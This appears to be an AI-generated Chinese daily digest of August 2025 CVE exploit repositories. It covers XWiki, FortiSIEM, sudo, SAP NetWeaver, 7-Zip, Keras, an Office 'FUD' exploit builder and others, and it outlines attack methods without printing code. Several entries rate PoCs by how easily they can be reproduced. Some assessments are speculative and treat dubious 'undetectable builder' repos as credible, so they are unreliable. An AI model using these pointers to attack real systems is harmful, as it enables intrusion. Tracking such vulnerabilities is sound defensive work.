## 安全分析
|
||
(2025-08-16)
|
||
|
||
本文档包含 AI 对安全相关内容的自动化分析结果。[概览](https://blog.897010.xyz/c/today)
|
||
|
||
|
||
### CVE-2025-44228 - Office文档RCE漏洞,silent exploit builder
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-44228 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `理论可行` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 16:20:12 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud](https://github.com/Caztemaz/Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库(https://github.com/Caztemaz/Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud)旨在开发针对CVE-2025-44228等漏洞的Office文档利用工具,特别是使用silent exploit builder技术。该项目主要针对Office文档,包括DOC文件,通过恶意载荷和CVE利用来实现RCE。最新提交信息显示,作者仅更新了LOG文件中的日期,没有实质性的代码变更,表明项目可能处于开发初期或持续更新中。由于描述中提到了'Office 365',表明可能存在影响范围。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 针对Office文档的RCE漏洞 |
|
||
| 2 | 利用silent exploit builder技术 |
|
||
| 3 | 文档类型包括DOC等 |
|
||
| 4 | 可能影响Office 365平台 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞利用涉及恶意载荷和CVE的结合。
|
||
|
||
> 利用方法可能包括构造恶意的Office文档,触发RCE。
|
||
|
||
> 修复方案:及时更新Office软件,禁用宏,使用安全软件检测恶意文档
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Office 文档处理软件
|
||
• Office 365
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞利用针对Office文档,影响广泛,且描述中提到了RCE,满足远程代码执行的价值判断标准。虽然没有明确的POC或利用代码,但项目目标明确,表明可能存在潜在的利用可能。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-24893 - XWiki RCE漏洞,远程代码执行
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-24893 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 16:16:35 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-24893](https://github.com/CMassa/CVE-2025-24893)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了针对XWiki远程代码执行漏洞(CVE-2025-24893)的PoC。仓库包含PoC脚本(CVE-2025-24893.py)和README.md文档,README文档详细介绍了漏洞信息、利用方法和使用说明。提交更新了README.md文档,增加了漏洞细节和使用说明,并添加了演示截图。 PoC脚本通过构造payload利用SolrSearch Macro的Groovy代码执行功能实现远程代码执行。代码质量良好,提供了漏洞验证和命令执行功能,方便进行漏洞测试和利用。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | XWiki SolrSearch Macro Groovy代码执行漏洞 |
|
||
| 2 | 未授权远程代码执行 (RCE) |
|
||
| 3 | PoC 验证和命令执行 |
|
||
| 4 | 影响版本:所有低于15.10.11, 16.4.1, and 16.5.0RC1 |
|
||
| 5 | 利用条件简单,直接构造payload |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:XWiki的SolrSearch Macro在处理用户输入时,未对Groovy代码进行充分过滤,导致攻击者可以通过构造恶意payload,执行任意Groovy代码。
|
||
|
||
> 利用方法:通过构造payload,利用SolrSearch Macro的Groovy代码执行功能,执行任意命令。PoC脚本提供了-c参数,可以执行指定的命令。
|
||
|
||
> 修复方案:升级到 XWiki 版本15.10.11, 16.4.1, 或 16.5.0RC1。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• XWiki
|
||
• SolrSearch Macro
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞为未授权远程代码执行漏洞,影响广泛使用的XWiki,且有明确的利用方法和PoC,危害巨大,可以完全控制服务器。 漏洞危害高,且已有可用的PoC。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-25256 - FortiSIEM 远程命令执行检测工具
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-25256 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 16:11:50 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [watchTowr-vs-FortiSIEM-CVE-2025-25256](https://github.com/watchtowrlabs/watchTowr-vs-FortiSIEM-CVE-2025-25256)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞利用在FortiSIEM中存在未授权远程命令执行漏洞,攻击者可以通过特制的网络请求执行任意命令。渗透检测脚本利用自定义包构造,触发目标系统执行命令,验证是否存在漏洞。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用自定义SSL包发送特制请求,执行命令 |
|
||
| 2 | 影响多个版本的FortiSIEM(详见修复建议) |
|
||
| 3 | 无需身份验证即可触发,存在远程代码执行风险 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:通过构造特制的SSL包,利用未授权命令执行漏洞实现远程控制
|
||
|
||
> 利用方法:运行提供的检测脚本,向目标IP发送恶意请求,如果响应正常,说明系统存在漏洞
|
||
|
||
> 修复方案:升级至官方修复版本或应用安全补丁
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• FortiSIEM 7.3.0至7.3.1
|
||
• FortiSIEM 7.2.0至7.2.5
|
||
• 其他版本请参照官方修复建议
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 提供完整的检测/利用脚本,含命令行参数解析和自定义请求构造
|
||
|
||
**分析 2**:
|
||
> 测试用例:通过IP地址验证漏洞,输出结果明显
|
||
|
||
**分析 3**:
|
||
> 代码结构简洁,功能明确,易于复现和二次开发
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
脚本包含完整的利用代码和检测流程,演示了远程命令执行的具体利用方法,影响广泛的一线企业基础设施,具有高度安全价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-32463 - Linux Sudo chroot命令的本地权限提升漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-32463 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 16:10:19 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-32463](https://github.com/SkylerMC/CVE-2025-32463)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞允许本地用户通过错误配置的sudo chroot命令实现权限提升至root,从而完全控制系统。这是由于sudo在处理chroot操作时的权限管理不当导致的。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 漏洞要点:sudo chroot命令的权限控制不严,允许非特权用户执行越界操作 |
|
||
| 2 | 影响范围:主要影响使用sudo且允许特定chroot配置的Linux系统(如Ubuntu、Debian、CentOS等) |
|
||
| 3 | 利用条件:具有sudo权限的用户执行特定命令时,配置疏漏使其可进行权限提升 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:sudo允许用户在未获得完整权限情况下调用chroot,未充分验证权限导致用户可在chroot环境外执行命令,达到权限提升
|
||
|
||
> 利用方法:用户通过配置或环境利用sudo chroot命令,切换到root权限的环境,从而获得root shell
|
||
|
||
> 修复方案:升级sudo到最新补丁版本,严格限制sudo配置中的chroot权限,并审查sudoers文件中相关规则
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• sudo 1.9.14至1.9.17版本(具体版本需确认每个发行版的修复状态)
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> POC脚本验证了漏洞存在,给出攻击示例,代码质量良好且易于理解
|
||
|
||
**分析 2**:
|
||
> 测试用例显示在不当配置环境下可实现权限提升
|
||
|
||
**分析 3**:
|
||
> 代码设计简洁,重点在利用sudo配置漏洞进行未授权权限升级
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞具有远程/本地权限提升的风险,已存在可用的POC,影响范围广泛,危害严重,符合价值判断标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-20682 - 注册表利用漏洞,可能被用作隐秘执行载荷
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-20682 |
|
||
| 风险等级 | `HIGH` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 15:57:24 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [Phantom-Registy-Exploit-Cve2025-20682-Runtime-Fud-Lnk](https://github.com/Caztemaz/Phantom-Registy-Exploit-Cve2025-20682-Runtime-Fud-Lnk)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞涉及利用注册表进行隐秘执行的技术,利用工具包括利用框架和CVE数据库,可能被用于隐蔽执行或绕过检测。通过注册表漏洞实现静默payload加载,具有一定的攻击潜力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用注册表漏洞实现隐秘执行 |
|
||
| 2 | 影响范围可能涉及Windows系统的注册表操作 |
|
||
| 3 | 利用条件不明确,但存在工具实现示例 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:利用注册表键值进行恶意payload的隐秘存储和触发实现绕过检测
|
||
|
||
> 利用方法:通过特制的payload或注册表修改实现隐蔽运行,结合FUD技术绕过安全检测
|
||
|
||
> 修复方案:加强注册表访问控制,修补相关已知漏洞,更新安全防护策略
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Windows操作系统注册表相关组件
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 仓库代码包含利用框架和POC实现,验证了利用方式
|
||
|
||
**分析 2**:
|
||
> 提交中有详细的变更记录,代码结构清晰,支持测试
|
||
|
||
**分析 3**:
|
||
> 代码质量较好,容易复现和验证该漏洞
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞利用注册表进行隐秘payload执行,结合实际利用工具,具有实现隐秘攻击的潜力,且代码和POC存在,符合价值标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-31324 - SAP NetWeaver 7.x系列存在远程代码执行漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-31324 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 15:54:13 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [sap-netweaver-0day-CVE-2025-31324](https://github.com/antichainalysis/sap-netweaver-0day-CVE-2025-31324)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞由ShinyHunters团体通过POC利用,影响所有7.x版本的SAP NetWeaver,攻击者可以远程上传并执行恶意JSP代码。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 远程代码执行漏洞,存在利用POC |
|
||
| 2 | 影响全部7.x版本的SAP NetWeaver |
|
||
| 3 | 利用者可上传并运行恶意JSP脚本 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 攻击原理:利用SAP NetWeaver上传ZIP压缩包作为恶意JSP文件,从而实现远程代码执行
|
||
|
||
> 利用方法:通过POST请求向特定接口上传包含恶意代码的ZIP包,触发远程命令执行
|
||
|
||
> 修复方案:建议升级SAP NetWeaver至厂商提供的安全版本,或应用厂商发布的安全补丁,禁用易受影响的接口
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• SAP NetWeaver 7.x 系列系统
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 提交的POC包含完整利用代码,可用于验证漏洞真实性和开发检测工具
|
||
|
||
**分析 2**:
|
||
> 代码质量较高,结构清晰,有明确的利用步骤和测试样例
|
||
|
||
**分析 3**:
|
||
> 提供了详细的漏洞利用流程和测试用例,对安全研究和防御研发非常有价值
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞已被公开曝出,并提供了完整的POC代码,影响范围广泛且可被利用实现远程代码执行,价值较高。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-31258 - macOS沙箱逃逸漏洞利用RemoteViewServices
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-31258 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 15:28:53 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-31258-PoC](https://github.com/BODE987/CVE-2025-31258-PoC)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞通过调用私有框架RemoteViewServices中的PBOXDuplicateRequest函数,绕过沙箱限制,实现部分沙箱逃逸。利用者可借此在受影响macOS版本中执行任意代码,影响范围广泛。PoC已在GitHub公布,包含完整示范代码、测试流程及环境准备说明
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 影响macOS版本10.15到11.5,影响广泛 |
|
||
| 2 | 利用RemoteViewServices实现沙箱逃逸权限提升 |
|
||
| 3 | 已公布完整PoC及利用代码 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用私有框架RemoteViewServices中的PBOXDuplicateRequest函数,通过构造特制请求绕过沙箱限制
|
||
|
||
> 在目标系统中执行特定代码触发漏洞,获得沙箱外执行权限
|
||
|
||
> 建议及时升级macOS到最新版本,避免使用此PoC进行攻击
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• macOS系统中的RemoteViewServices私有框架
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> PoC包含完整响应调用的Objective-C代码,利用dlopen与dlsym调用私有API
|
||
|
||
**分析 2**:
|
||
> 测试用例已验证可在模拟环境中实现沙箱逃逸
|
||
|
||
**分析 3**:
|
||
> 整体代码结构清晰,逻辑可行性高,具有实战复现价值
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞能实现远程沙箱逃逸,具有完整利用代码,可在影响版本环境中轻松复现和利用,威胁极大,属于高价值安全漏洞
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-8971 - itsourcecode旅游管理系统SQL注入漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-8971 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 15:25:01 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-8971](https://github.com/byteReaper77/CVE-2025-8971)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞存在于itsourcecode在线旅游管理系统1.0的/admin/operations/travellers.php文件中,位于val-username参数,允许远程攻击者通过精心构造的SQL注入Payload执行任意SQL命令,可能导致敏感信息泄露或远程代码执行。利用者开发了完整的可用攻击代码,通过时间延迟检测和响应内容检测确认漏洞,具有很高的利用价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 漏洞点在travellers.php中的val-username参数,存在SQL注入 |
|
||
| 2 | 攻击可远程执行SQL命令,影响广泛且危害严重 |
|
||
| 3 | 利用条件:目标系统未进行SQL注入防护,能模拟请求提交Payload |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用逐步构造恶意SQL Payload,通过时间延迟和响应内容检测注入成功
|
||
|
||
> 利用curl模拟多种Payload,检测响应中的错误信息或延时执行
|
||
|
||
> 建议修复方案:参数化查询,使用准备语句,过滤输入内容
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• itsourcecode Online Tour and Travel Management System 1.0
|
||
• /admin/operations/travellers.php
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 代码中存在注入点,利用上传的Payload进行SQL注入测试
|
||
|
||
**分析 2**:
|
||
> 利用时间延迟检测响应,通过比较正常请求和注入请求的响应时间确认漏洞
|
||
|
||
**分析 3**:
|
||
> 代码编写质量良好,具有明显的测试用例和验证逻辑,具备完整利用链
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此漏洞影响广泛使用的旅游管理系统核心功能,攻击可实现远程SQL注入,导致敏感信息泄露甚至远程代码执行。攻击代码完整,具备使用价值。已验证利用可行,并且有详细实现,符合高危漏洞的定义。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-0411 - 7-Zip MotW绕过漏洞,影响7-Zip相关版本
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-0411 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 14:33:43 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [7-Zip-CVE-2025-0411-POC](https://github.com/dpextreme/7-Zip-CVE-2025-0411-POC)
|
||
|
||
#### 💡 分析概述
|
||
|
||
CVE-2025-0411为7-Zip软件存在的漏洞,使得攻击者可以绕过Mark-of-the-Web (MotW)机制,从而可能实现任意代码执行,影响系统安全。漏洞利用主要通过构造特定压缩包,误导7-Zip在提取文件时未正确传递MotW标记,导致后续文件具有未授权的执行能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 漏洞核心为绕过MotW机制,可能被用来执行恶意代码 |
|
||
| 2 | 影响7-Zip对压缩文件的处理,尤其是带有MotW标记的压缩包 |
|
||
| 3 | 利用条件为攻击者构造特制的压缩包,用户无需特殊权限即可触发 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:7-Zip在解压含MotW标记的压缩包时未正确传递Zone.Identifier信息,导致解压后文件未继承MotW,从而绕过安全警告。
|
||
|
||
> 利用方法:攻击者制作特殊压缩文件,诱导受害者解压,后续执行被绕过的文件可能造成代码执行。
|
||
|
||
> 修复方案:更新7-Zip到修复版本(如24.09及以上),确保MotW标记在解压后正确传递。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 7-Zip压缩文件处理模块
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> 包含已发布的POC验证代码,具备实际利用场景。
|
||
|
||
**分析 2**:
|
||
> 代码质量良好,易于理解与复现,包含测试用例。
|
||
|
||
**分析 3**:
|
||
> POC代码较为完整,能有效展示漏洞利用流程。
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
漏洞影响普及率高,有明确的利用途径和POC,可能导致远程代码执行,属关键安全事件。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2024-3660 - TensorFlow Keras版本<2.13的远程代码执行漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2024-3660 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-15 00:00:00 |
|
||
| 最后更新 | 2025-08-15 19:51:27 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2024-3660-PoC](https://github.com/aaryanbhujang/CVE-2024-3660-PoC)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该漏洞允许攻击者通过在恶意的`.h5`模型中嵌入可执行代码(如Lambda层中的反弹shell命令),在加载模型时自动执行,从而实现任意代码执行,影响TensorFlow 2.13.0之前的Keras版本。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 漏洞利用通过加载恶意模型触发反弹shell,完整利用链路已验证。 |
|
||
| 2 | 影响范围主要为使用TensorFlow 2.13.0以下版本的应用环境。 |
|
||
| 3 | 利用条件是环境中TensorFlow版本不受保护,支持加载自定义Lambda层模型。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:攻击者在模型中嵌入带有恶意系统命令的Lambda层,模型加载时自动执行该命令,代码在Lambda中被激活。
|
||
|
||
> 利用方法:通过构建包含反弹shell的模型(如PoC脚本所示),在受害环境加载模型时自动连接远程攻击方监听端口。
|
||
|
||
> 修复方案:升级TensorFlow到2.13.0及以上版本,或禁用Lambda层内的任意代码执行能力,避免加载恶意模型。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• TensorFlow 2.13.0以下版本的Keras模型加载机制
|
||
```
|
||
|
||
#### 💻 代码分析
|
||
|
||
**分析 1**:
|
||
> PoC代码包含完整模型构建和加载脚本,具备实际可用性。
|
||
|
||
**分析 2**:
|
||
> 测试用例明确演示利用过程,不仅理论验证而且具备实战价值。
|
||
|
||
**分析 3**:
|
||
> 代码质量良好,结构清晰,易于复现和验证。
|
||
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞具备完整PoC,能够实现远程代码执行,影响广泛且易于利用,严重威胁关键基础设施和应用安全。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Project-Exploitation-of-Webmin-Authentication-Vulnerability - Webmin RCE漏洞利用项目
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Project-Exploitation-of-Webmin-Authentication-Vulnerability](https://github.com/ArtemCyberLab/Project-Exploitation-of-Webmin-Authentication-Vulnerability) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用框架` |
|
||
| 更新类型 | `新增` |
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库旨在对Webmin 1.890版本中的RCE漏洞(CVE-2019-15107)进行研究和利用。项目目标是通过该漏洞获取目标系统的完全控制权。由于仓库目标明确为漏洞利用,且针对RCE漏洞,因此与关键词'RCE'高度相关。该项目包含对Webmin身份验证漏洞的深入分析和成功的漏洞利用尝试。更新内容可能涉及漏洞利用代码、详细的漏洞分析报告和利用流程说明。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 针对Webmin 1.890的RCE漏洞(CVE-2019-15107)的PoC或Exploit实现 |
|
||
| 2 | 详细的漏洞分析和利用过程 |
|
||
| 3 | 目标是获取目标系统的完全控制权 |
|
||
| 4 | 与RCE关键词高度相关 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 可能包含用于利用Webmin身份验证绕过的代码。
|
||
|
||
> 可能包含Webmin漏洞的详细技术分析报告。
|
||
|
||
> 可能包括针对漏洞的攻击载荷构造和利用流程。
|
||
|
||
> 可能涉及代码审计和逆向工程,以理解漏洞的根本原因。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Webmin 1.890
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该项目直接针对RCE漏洞的利用,与关键词'RCE'高度相关。项目目标是获取目标系统的完全控制权,这代表着极高的安全风险。该项目可能包含漏洞利用代码和详细的漏洞分析,具有很高的研究和实践价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### EvilTwin-ESP8622 - ESP8266 WiFi钓鱼攻击工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [EvilTwin-ESP8622](https://github.com/lautarigauna/EvilTwin-ESP8622) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了基于ESP8266的恶意WiFi攻击(Evil Twin),包括钓鱼模板和Web界面,用于安全测试。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现Evil Twin攻击向量 |
|
||
| 2 | 包含钓鱼页面模板和Web控制界面 |
|
||
| 3 | 用于进行WiFi钓鱼攻击的安全测试工具 |
|
||
| 4 | 潜在用于识别和利用WiFi安全漏洞 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用ESP8266模块实现WiFi钓鱼攻击,模拟合法热点进行钓鱼验证
|
||
|
||
> 集成Web界面和钓鱼模板,便于攻击配置和操作
|
||
|
||
> 具备诱骗目标用户连接的机制,可能危害目标网络安全
|
||
|
||
> 未披露具体漏洞利用细节,但具有攻击实现基础
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• ESP8266硬件设备
|
||
• WiFi网络环境
|
||
• 钓鱼界面与控制系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
作为实现WiFi钓鱼攻击的工具,本仓库具有较高的安全研究价值,有助于检测和理解WiFi钓鱼手段,但在安全攻防中具有潜在风险。
|
||
</details>
|
||
|
||
---
|
||
|
||
### pqc-iot-retrofit-scanner - 自动扫描物联网固件以识别潜在量子漏洞
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [pqc-iot-retrofit-scanner](https://github.com/danieleschmidt/pqc-iot-retrofit-scanner) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用/安全修复/安全工具` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **41**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库主要实现了针对物联网设备固件的自动化扫描,识别并生成后量子密码学(PQC)补丁,涵盖漏洞检测、补丁生成及安全防护措施。此次更新丰富了安全漏洞检测能力,集成了新型量子抗性加密补丁生成方案。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 自动扫描嵌入式固件,识别量子威胁相关密码算法 |
|
||
| 2 | 增加Q uantum-resistant cryptography patches自动生成能力 |
|
||
| 3 | 集成多层次安全检测与漏洞分析,优化安全验证流程 |
|
||
| 4 | 支持多架构固件分析,提升漏洞检测的全面性和效率 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 实现基于固件分析的漏洞检测,包括RSA、ECDSA、ECDH等算法识别,利用模式匹配和签名验证技术。
|
||
|
||
> 引入后量子密码补丁生成机制,采用优化的后量子算法模板,自动生成补丁代码以替换脆弱密码算法。
|
||
|
||
> 结合安全验证和错误处理模块,加强固件完整性和安全性检测,减少误报和漏报。
|
||
|
||
> 采用多层次缓存和并行处理架构,提高扫描效率,支持大规模固件批量处理。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 固件扫描引擎
|
||
• 漏洞检测模块
|
||
• 后量子密码补丁生成器
|
||
• 安全验证与错误处理系统
|
||
• 自动化部署与报告系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
